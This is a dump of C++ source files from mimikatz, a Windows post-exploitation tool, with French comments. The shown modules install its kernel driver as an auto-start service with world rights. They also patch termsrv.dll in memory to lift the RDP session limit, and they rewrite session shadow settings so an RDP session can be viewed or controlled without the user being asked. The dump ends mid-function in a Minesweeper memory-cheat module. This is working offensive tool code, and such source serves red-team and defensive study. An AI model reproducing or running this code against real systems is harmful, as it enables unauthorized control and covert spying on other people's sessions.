wcout << L"CONTINUE_PENDING";
break;
case SERVICE_PAUSE_PENDING:
wcout << L"PAUSE_PENDING";
break;
case SERVICE_PAUSED:
wcout << L"PAUSED";
break;
case SERVICE_RUNNING:
wcout << L"RUNNING";
break;
case SERVICE_START_PENDING:
wcout << L"START_PENDING";
break;
case SERVICE_STOP_PENDING:
wcout << L"STOP_PENDING";
break;
case SERVICE_STOPPED:
wcout << L"STOPPED";
break;
}
wcout << L'\t' <<
monService->serviceName << L'\t' <<
monService->serviceDisplayName <<
endl;
}
}
}
else
wcout << L"mod_service::getList ; " << mod_system::getWinError() << endl;
delete vectorServices;
return true;
}
bool mod_mimikatz_service::mimikatz(vector<wstring> * arguments)
{
if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE))
{
SC_HANDLE monService = NULL;
if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START)))
{
if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST)
{
wcout << L"[*] Pilote mimikatz non présent, installation." << endl;
wstring monPilote = L"mimikatz.sys";
wstring monPiloteComplet = L"";
if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet))
{
bool fileExist = false;
if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist)
{
if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL))
{
wcout << L"[+] Création du pilote : OK" << endl;
if(mod_secacl::addWorldToMimikatz(&monService))
wcout << L"[+] Attribution des droits : OK";
else
wcout << L"[-] Attribution des droits : KO ; " << mod_system::getWinError();
wcout << endl;
}
else wcout << L"[!] Impossible de créer le pilote ; " << mod_system::getWinError() << endl;
}
else wcout << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl;
}
else wcout << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl;
}
else wcout << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl;
}
else wcout << L"[*] Pilote mimikatz déjà présent" << endl;
if(monService)
{
if(StartService(monService, 0, NULL) != 0)
wcout << L"[+] Démarrage du pilote : OK";
else
wcout << L"[-] Démarrage du pilote : KO ; " << mod_system::getWinError();
wcout << endl;
CloseServiceHandle(monService);
}
CloseServiceHandle(monManager);
}
else wcout << L"[!] Impossible d\'ouvrir le gestionnaire de service pour création ; " << mod_system::getWinError() << endl;
return true;
}

View File

@ -0,0 +1,34 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include "mod_service.h"
#include <iostream>
class mod_mimikatz_service
{
private:
typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName);
static bool genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool list(vector<wstring> * arguments);
static bool start(vector<wstring> * arguments);
static bool suspend(vector<wstring> * arguments);
static bool resume(vector<wstring> * arguments);
static bool stop(vector<wstring> * arguments);
static bool query(vector<wstring> * arguments);
static bool add(vector<wstring> * arguments);
static bool remove(vector<wstring> * arguments);
static bool control(vector<wstring> * arguments);
static bool mimikatz(vector<wstring> * arguments);
};

View File

@ -0,0 +1,76 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_standard.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_standard::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'écran (ne fonctionne pas en éxecution distante, via PsExec par exemple)"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la réponse à la Grande Question sur la Vie, l\'Univers et le Reste"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes"));
//monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus être là en release..."));
return monVector;
}
/*bool mod_mimikatz_standard::test(vector<wstring> * arguments)
{
return true;
}*/
bool mod_mimikatz_standard::version(vector<wstring> * arguments)
{
wcout << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl;
return true;
}
bool mod_mimikatz_standard::clearScreen(vector<wstring> * arguments)
{
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord = {0, 0};
DWORD count;
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hStdOut, &csbi);
FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count);
SetConsoleCursorPosition(hStdOut, coord);
return true;
}
bool mod_mimikatz_standard::exit(vector<wstring> * arguments)
{
return false;
}
bool mod_mimikatz_standard::reponse(vector<wstring> * arguments)
{
wcout << L"La réponse est 42." << endl;
return true;
}
bool mod_mimikatz_standard::cite(vector<wstring> * arguments)
{
wcout << L"I edit the world in HEX" << endl;
return true;
}
bool mod_mimikatz_standard::sleep(vector<wstring> * arguments)
{
DWORD dwMilliseconds = 1000;
if(!arguments->empty())
{
wstringstream z;
z << arguments->front(); z >> dwMilliseconds;
}
wcout << L"Sleep : " << dwMilliseconds << L" ms... " << flush;
Sleep(dwMilliseconds);
wcout << L"Fin !" << endl;
return true;
}

View File

@ -0,0 +1,23 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <iostream>
#include <sstream>
class mod_mimikatz_standard
{
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool clearScreen(vector<wstring> * arguments);
static bool exit(vector<wstring> * arguments);
static bool cite(vector<wstring> * arguments);
static bool reponse(vector<wstring> * arguments);
static bool version(vector<wstring> * arguments);
static bool sleep(vector<wstring> * arguments);
static bool test(vector<wstring> * arguments);
};

View File

@ -0,0 +1,39 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_system.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_system::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant"));
return monVector;
}
bool mod_mimikatz_system::user(vector<wstring> * arguments)
{
wstring monUser;
if(mod_system::getUserName(&monUser))
wcout << L"Utilisateur : " << monUser << endl;
else
wcout << L"mod_system::getUserName : " << mod_system::getWinError();
return true;
}
bool mod_mimikatz_system::computer(vector<wstring> * arguments)
{
wstring monComputer;
if(mod_system::getComputerName(&monComputer))
wcout << L"Ordinateur : " << monComputer << endl;
else
wcout << L"mod_system::getComputerName : " << mod_system::getWinError();
return true;
}

View File

@ -0,0 +1,17 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include <iostream>
class mod_mimikatz_system
{
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool user(vector<wstring> * arguments);
static bool computer(vector<wstring> * arguments);
};

View File

@ -0,0 +1,290 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_terminalserver.h"
// http://msdn.microsoft.com/library/aa383464.aspx
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_terminalserver::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau à distance pour dépasser 2 connexions simultanées"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'état de la prise de contrôle des sessions RDP"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'état de la prise de contrôle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)"));
return monVector;
}
bool mod_mimikatz_terminalserver::sessions(vector<wstring> * arguments)
{
vector<mod_ts::KIWI_WTS_SESSION_INFO> mesSessions;
if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL)))
{
wcout << L"SessId\tEtat\tstrEtat" << endl;
for(vector<mod_ts::KIWI_WTS_SESSION_INFO>::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++)
{
wcout <<
setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' <<
setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' <<
setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' <<
maSession->sessionName <<
endl;
}
}
else wcout << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
return true;
}
bool mod_mimikatz_terminalserver::processes(vector<wstring> * arguments)
{
vector<mod_ts::KIWI_WTS_PROCESS_INFO> mesProcess;
if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL)))
{
wcout << L"PID\tSessId\tUtilisateur" << endl;
for(vector<mod_ts::KIWI_WTS_PROCESS_INFO>::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++)
{
wcout <<
setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' <<
setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' <<
setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' <<
monProcess->processName <<
endl;
}
}
else wcout << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
return true;
}
bool mod_mimikatz_terminalserver::viewshadow(vector<wstring> * arguments)
{
DWORD session = 0;
PDWORD ptrSession = NULL;
if(arguments->size() == 1)
{
wstringstream resultat(arguments->front());
resultat >> session;
ptrSession = &session;
}
listAndOrModifySession(ptrSession);
return true;
}
bool mod_mimikatz_terminalserver::modifyshadow(vector<wstring> * arguments)
{
DWORD session = 0;
PDWORD ptrSession = NULL;
wstring strState;
DWORD newState = 0;
if(arguments->size() == 1)
{
strState.assign(arguments->front());
}
else if(arguments->size() == 2)
{
wstringstream resultat(arguments->front());
resultat >> session;
ptrSession = &session;
strState.assign(arguments->back());
}
if(!strState.empty())
{
bool strError = false;
if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0;
else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1;
else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2;
else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3;
else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4;
else strError = true;
if(!strError)
listAndOrModifySession(ptrSession, &newState);
else
wcout << L"Erreur de parsing de l\'argument : " << strState << endl;
}
return true;
}
bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState)
{
bool reussite = false;
vector<mod_patch::OS> mesOS;
mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64);
if(mod_patch::checkVersion(&mesOS))
{
#ifdef _M_X64
BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22};
long offsetToWin = -4;
#elif defined _M_IX86
BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15};
long offsetToWin = -6;
#endif
mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
wstring serviceName = L"TermService";
wstring moduleName = L"termsrv.dll";
if(mod_service::getUniqueForName(&monService, &serviceName))
{
mod_process::KIWI_MODULEENTRY32 monModule;
if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId))
{
PBYTE baseAddr = monModule.modBaseAddr;
DWORD taille = monModule.modBaseSize;
if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId))
{
PBYTE addrPattern = NULL;
if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle))
{
PBYTE addrWinstationListHead = NULL;
bool resInterm = false;
#ifdef _M_X64
long offSet = 0;
resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&offSet), sizeof(long), processHandle);
addrWinstationListHead = addrPattern + offSet;
#elif defined _M_IX86
resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&addrWinstationListHead), sizeof(PBYTE), processHandle);
#endif
if(resInterm)
{
PBYTE addrWinstation = addrWinstationListHead;
do
{
if(mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead)
{
KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION();
if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(maSession), sizeof(KIWI_TS_SESSION), processHandle))
{
if((!id) || (maSession->id == *id))
{
wcout << L"@Winstation : " << addrWinstation << endl;
wcout << L"\t" << maSession->prev << L" <-> " << maSession->next << endl;
wcout << L"\tid : " << maSession->id << endl;
wcout << L"\tname : " << maSession->name << endl;
wcout << L"\tsname : " << maSession->sname << endl;
wcout << L"\ttype : " << maSession->type << endl;
wcout << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl;
if(newState)
{
reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle);
wcout << L"\t => " << *newState << L" (" <<shadowToType(*newState) << L") : " << (reussite ? L"OK" : L"KO") << endl;
}
wcout << endl;
}
}
delete maSession;
}
} while(addrWinstation != addrWinstationListHead);
}
else wcout << L"mod_memory::readMemory " << mod_system::getWinError() << endl;
}
else wcout << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
CloseHandle(processHandle);
}
else wcout << L"OpenProcess " << mod_system::getWinError() << endl;
}
else wcout << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
}
else wcout << L"mod_process::getUniqueServiceForName : " << mod_system::getWinError() << endl;
}
return reussite;
}
bool mod_mimikatz_terminalserver::multirdp(vector<wstring> * arguments)
{
BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f};
BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90};
LONG OFFS_WIN5_TestLicence = 3;
#ifdef _M_X64
BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75};
BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
#elif defined _M_IX86
BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84};
BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90};
BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84};
BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
#endif
LONG OFFS_WIN6_Query__CDefPolicy = 0;
BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0;
BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0;
LONG OFFS_PATC_Licence = 0;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence);
PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence);
OFFS_PATC_Licence = OFFS_WIN5_TestLicence;
}
else
{
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy);
PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy);
}
else
{
PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy);
PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy);
}
OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy;
}
mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence);
return true;
}
wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow)
{
switch(shadow)
{
case 0: return(L"DISABLE");
case 1: return(L"INTERACT (confirmation)");
case 2: return(L"INTERACT_NOASK");
case 3: return(L"VIEW (confirmation)");
case 4: return(L"VIEW_NOASK");
default: return(L"?");
}
}
wstring mod_mimikatz_terminalserver::stateToType(DWORD state)
{
switch(state)
{
case WTSActive: return(L"Active");
case WTSConnected: return(L"Connected");
case WTSConnectQuery: return(L"ConnectQuery");
case WTSShadow: return(L"Shadow");
case WTSDisconnected: return(L"Disconnected");
case WTSIdle: return(L"Idle");
case WTSListen: return(L"Listen");
case WTSReset: return(L"Reset");
case WTSDown: return(L"Down");
case WTSInit: return(L"Init");
default: return(L"?");
}
}

View File

@ -0,0 +1,55 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_ts.h"
#include "mod_process.h"
#include "mod_memory.h"
#include "mod_patch.h"
#include <iostream>
class mod_mimikatz_terminalserver
{
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool sessions(vector<wstring> * arguments);
static bool processes(vector<wstring> * arguments);
static bool viewshadow(vector<wstring> * arguments);
static bool modifyshadow(vector<wstring> * arguments);
static bool multirdp(vector<wstring> * arguments);
private:
static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL);
static wstring shadowToType(DWORD shadow);
static wstring stateToType(DWORD state);
enum KIWI_SHADOW_TYPE {
SHADOW_DISABLE = 0,
SHADOW_INTERACT = 1,
SHADOW_INTERACT_NOASK = 2,
SHADOW_VIEW = 3,
SHADOW_VIEW_NOASK = 4
};
typedef struct _KIWI_TS_SESSION {
PBYTE next;
PBYTE prev;
PBYTE unk1;
PBYTE refLock;
PBYTE unk2;
BYTE unk3[8];
DWORD id;
wchar_t name[32+1];
BYTE unk4[7434];
wchar_t sname[32+1];
wchar_t type[32+1];
BYTE unk5[1684];
DWORD shadow;
} KIWI_TS_SESSION, * PKIWI_TS_SESSION;
};

View File

@ -0,0 +1,137 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_thread.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_thread::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un thread"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture à un thread"));
return monVector;
}
bool mod_mimikatz_thread::list(vector<wstring> * arguments)
{
vector<THREADENTRY32> * vectorThreads = new vector<THREADENTRY32>();
DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str());
if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId))
{
wcout << L"PID\tTID\tprTh" << endl;
for(vector<THREADENTRY32>::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++)
wcout <<
setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' <<
setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' <<
setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri <<
endl;
}
else
wcout << L"mod_thread::getList ; " << mod_system::getWinError() << endl;
delete vectorThreads;
return true;
}
bool mod_mimikatz_thread::resume(vector<wstring> * arguments)
{
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
{
DWORD threadId = _wtoi(monArgThread->c_str());
if(threadId != 0)
{
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise ";
if(mod_thread::resume(threadId))
wcout << L"OK";
else
wcout << L"KO - mod_thread::resume ; " << mod_system::getWinError();
}
else
wcout << L"argument \'" << *monArgThread << L"\' invalide";
wcout << endl;
}
return true;
}
bool mod_mimikatz_thread::suspend(vector<wstring> * arguments)
{
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
{
DWORD threadId = _wtoi(monArgThread->c_str());
if(threadId != 0)
{
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension ";
if(mod_thread::suspend(threadId))
wcout << L"OK";
else
wcout << L"KO - mod_thread::suspend ; " << mod_system::getWinError();
}
else
wcout << L"argument \'" << *monArgThread << L"\' invalide";
wcout << endl;
}
return true;
}
bool mod_mimikatz_thread::stop(vector<wstring> * arguments)
{
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
{
DWORD threadId = _wtoi(monArgThread->c_str());
if(threadId != 0)
{
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrêt ";
if(mod_thread::stop(threadId))
wcout << L"OK";
else
wcout << L"KO - mod_thread::stop ; " << mod_system::getWinError();
}
else
wcout << L"argument \'" << *monArgThread << L"\' invalide";
wcout << endl;
}
return true;
}
bool mod_mimikatz_thread::quit(vector<wstring> * arguments)
{
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
{
DWORD threadId = _wtoi(monArgThread->c_str());
if(threadId != 0)
{
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture ";
if(mod_thread::quit(threadId))
wcout << L"OK";
else
wcout << L"KO - mod_thread::quit ; " << mod_system::getWinError();
}
else
wcout << L"argument \'" << *monArgThread << L"\' invalide";
wcout << endl;
}
return true;
}

View File

@ -0,0 +1,27 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include "mod_thread.h"
#include <iostream>
#include <iomanip>
class mod_mimikatz_thread
{
private:
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool list(vector<wstring> * arguments);
//static bool start(vector<wstring> * arguments);
static bool suspend(vector<wstring> * arguments);
static bool resume(vector<wstring> * arguments);
static bool stop(vector<wstring> * arguments);
//static bool query(vector<wstring> * arguments);
static bool quit(vector<wstring> * arguments);
};

View File

@ -0,0 +1,161 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_winmine.h"
char DISP_WINMINE[] = " 123456789*x*?F.";
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_winmine::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomètre du démineur en cours"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomètre du démineur en cours"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre une nouvelle partie"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au démineur"));
return monVector;
}
bool mod_mimikatz_winmine::infos(vector<wstring> * arguments)
{
return infosOrCheat(arguments, false);
}
bool mod_mimikatz_winmine::cheat(vector<wstring> * arguments)
{
return infosOrCheat(arguments, true);
}
bool mod_mimikatz_winmine::infosOrCheat(vector<wstring> * arguments, bool cheat)
{
structHandleAndAddr * maStruct = new structHandleAndAddr();
if(giveHandleAndAddr(maStruct))
{
structMonDemineur monDemineur;
if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine))
{
wcout << L"Mines : " << monDemineur.nbMines << endl <<
L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl <<
L"Champ : " << endl << endl;
for (DWORD y = 1; y <= monDemineur.hauteur; y++)
{
if(!cheat)
wcout << L'\t';
for(DWORD x = 1; x <= monDemineur.longueur; x++)
{
BYTE laCase = monDemineur.tabMines[y][x];
if(!cheat)
wcout << L' ' << static_cast<wchar_t>((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]);
else if(laCase & 0x80)
monDemineur.tabMines[y][x] = 0x4e;
}
if(!cheat)
wcout << endl;
}
if(cheat)
{
if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine))
wcout << L"Patché ;)" << endl;
vector<mod_windows::KIWI_HWND_ENTRY> mesHWNDS;
if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine))
{
for(vector<mod_windows::KIWI_HWND_ENTRY>::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++)
{
InvalidateRect(monHWND->monHandle, NULL, TRUE);
UpdateWindow(monHWND->monHandle);
}
}
}
}
CloseHandle(maStruct->hWinmine);
}
delete maStruct;
return true;
}
bool mod_mimikatz_winmine::pause(vector<wstring> * arguments)
{
startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause));
return true;
}
bool mod_mimikatz_winmine::reprise(vector<wstring> * arguments)
{
